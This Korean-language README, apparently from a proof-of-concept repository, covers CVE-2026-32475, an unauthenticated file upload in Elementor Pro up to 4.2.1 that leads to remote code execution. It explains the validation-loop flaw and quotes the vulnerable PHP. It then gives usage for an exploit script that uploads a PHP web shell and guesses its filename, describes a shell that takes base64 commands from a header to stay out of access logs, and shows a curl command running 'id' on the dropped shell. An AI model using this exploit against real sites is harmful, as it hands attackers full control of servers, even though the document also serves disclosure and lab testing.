
# CVE-2026-32475 PoC: Elementor Pro <=4.2.1 인증되지 않은 파일 업로드를 통한 RCE. 표준 라이브러리만 사용하는 Python.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Critical |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| 인증 필요 | 없음 |
| 영향 버전 | Elementor Pro ≤ 4.2.1 |
| 수정 버전 | Elementor Pro 4.2.2 (2026-08-19) |
| 제보자 | Tin Pham (TF1T), Patchstack Bug Bounty Program 경유 |
인증되지 않은 방문자
│
▼
Elementor Form 페이지 (파일 업로드 필드)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── part #1: 빈 파일
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── 검증이 여기서 중단됨
│
└── part #2: shell.php
└─► 유형 검사가 수행되지 않음
│
▼
process_field(): 계속 진행 → .php 페이로드를 그대로 이동
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
해당 URL에 GET 요청 ⇒ RCE
Forms 모듈은 각 업로드 항목을 서로 다른 루프 의미론으로 두 번의 별도 패스로 처리합니다:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ 해당 항목만 건너뜀
return move_uploaded_file(...) ◄─ 나머지를 이동
validation()은 오류가 UPLOAD_ERR_NO_FILE인 첫 번째 항목에서 중단되므로, 그 뒤에 오는 .php 항목은 유형 검사가 수행되지 않습니다. process_field()는 빈 항목을 건너뛸 뿐이며 이후의 모든 항목을 공개 업로드 디렉터리로 계속 이동합니다. 검증기는 실패를 보고하지만 이동기는 계속 진행됩니다 — 두 루프 간의 비동기화가 바로 이 취약점입니다.
취약한 코드 (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← 전체 루프를 중단
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← 해당 항목만 건너뜀
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // 공격자가 제어하는 확장자가 유지됨
move_uploaded_file( $file['tmp_name'], $new_file );
4.2.2의 수정 사항은 두 루프가 일치하도록 만듭니다 — 빈 항목이 더 이상 검증을 조기에 종료하지 않으므로 .php 항목이 유형 검사를 거쳐 거부됩니다.
post_id, form_id 및 업로드 필드 ID를 스크랩합니다.admin-ajax.php로 전송합니다
(action=elementor_pro_forms_send_form).<uniqid> 파일명 공간을 스캔하여 셸 URL을 복구합니다
(전체 uniqid → 파일명 매핑은 analysis.md 참조).셸은 쿼리 문자열/POST 매개변수 대신 X-CMD 요청 헤더(base64 디코딩)에서 명령을 읽습니다. 이는 명령 전송을 양식 매개변수와 분리하고 일반적인 액세스 로그 쿼리 문자열에서 벗어나게 하기 위한 것일 뿐이며, 취약점 자체와는 관련이 없습니다.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Python 3 표준 라이브러리만 사용합니다. 조정 플래그:
| 플래그 | 기본값 | 설명 |
|---|---|---|
--probe-seconds | 0.05 | 스캔할 uniqid 마이크로초 창(초) |
--step-us | 2000 | 프로브 사이의 마이크로초 간격 |
--workers | 24 | 동시 프로브 스레드 수 |
--field-id | 자동 | 업로드 필드 자동 발견 실패 시 수동 설정 |
느린 대상에 대한 참고 사항: 프로브 단계는 대상에 부하를 줄 수 있습니다(수천 개의 요청). 대상과 공격자가 동일한 소형 장치에서 호스팅되는 경우 웹 서버가 동시 제출을 거부할 수 있습니다 — --probe-seconds 0으로 실행하여 임의 업로드 프리미티브만 증명한 다음, 대상에서 wp-content/uploads/elementor/forms/ 아래의 드롭된 .php 파일을 직접 찾아 확인하세요.
PoC는 두 가지 독립적인 이정표를 구분합니다:
임의 업로드 프리미티브 → PASS / FAIL
파일명 복구 (uniqid) → PASS / PARTIAL
RCE 확인 → PASS (위 두 항목이 모두 성공한 경우)
종료 코드 0은 완전한 RCE 확인을 의미합니다. 종료 코드 2는 업로드 프리미티브가 입증되었지만 창 내에서 파일명을 추측할 수 없음을 의미합니다(드롭된 .php 파일을 wp-content/uploads/elementor/forms/에서 수동으로 확인).
docker-compose.yml 참조. 전체 단계:
# 1) WordPress + MariaDB 시작
docker compose up -d
# DB 준비를 위해 약 30초 대기 후 WordPress 설치
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) 무료 Elementor 설치
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) 취약한 Elementor Pro (<= 4.2.1) 설치.
# Elementor Pro는 유료 플러그인입니다 — 법적으로 획득한
# elementor-pro.zip (예: 4.2.1)을 docker-compose.yml 옆에 먼저 배치하세요:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) 양식 페이지 생성 (PoC 저장소에 setup_form_page.php 포함):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) PoC 실행
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
업로드 프리미티브 확인 — 페이로드가 <uniqid>.php로 드롭됨:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
드롭된 셸을 요청하여 RCE 확인:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Elementor Pro를 **4.2.2+**로 업데이트하세요. 그때까지 공개 양식에서 파일 업로드 필드를 제거하거나 WAF 규칙으로 양식 제출을 제한하세요.
승인된 보안 연구 및 실습 환경에서만 사용하세요.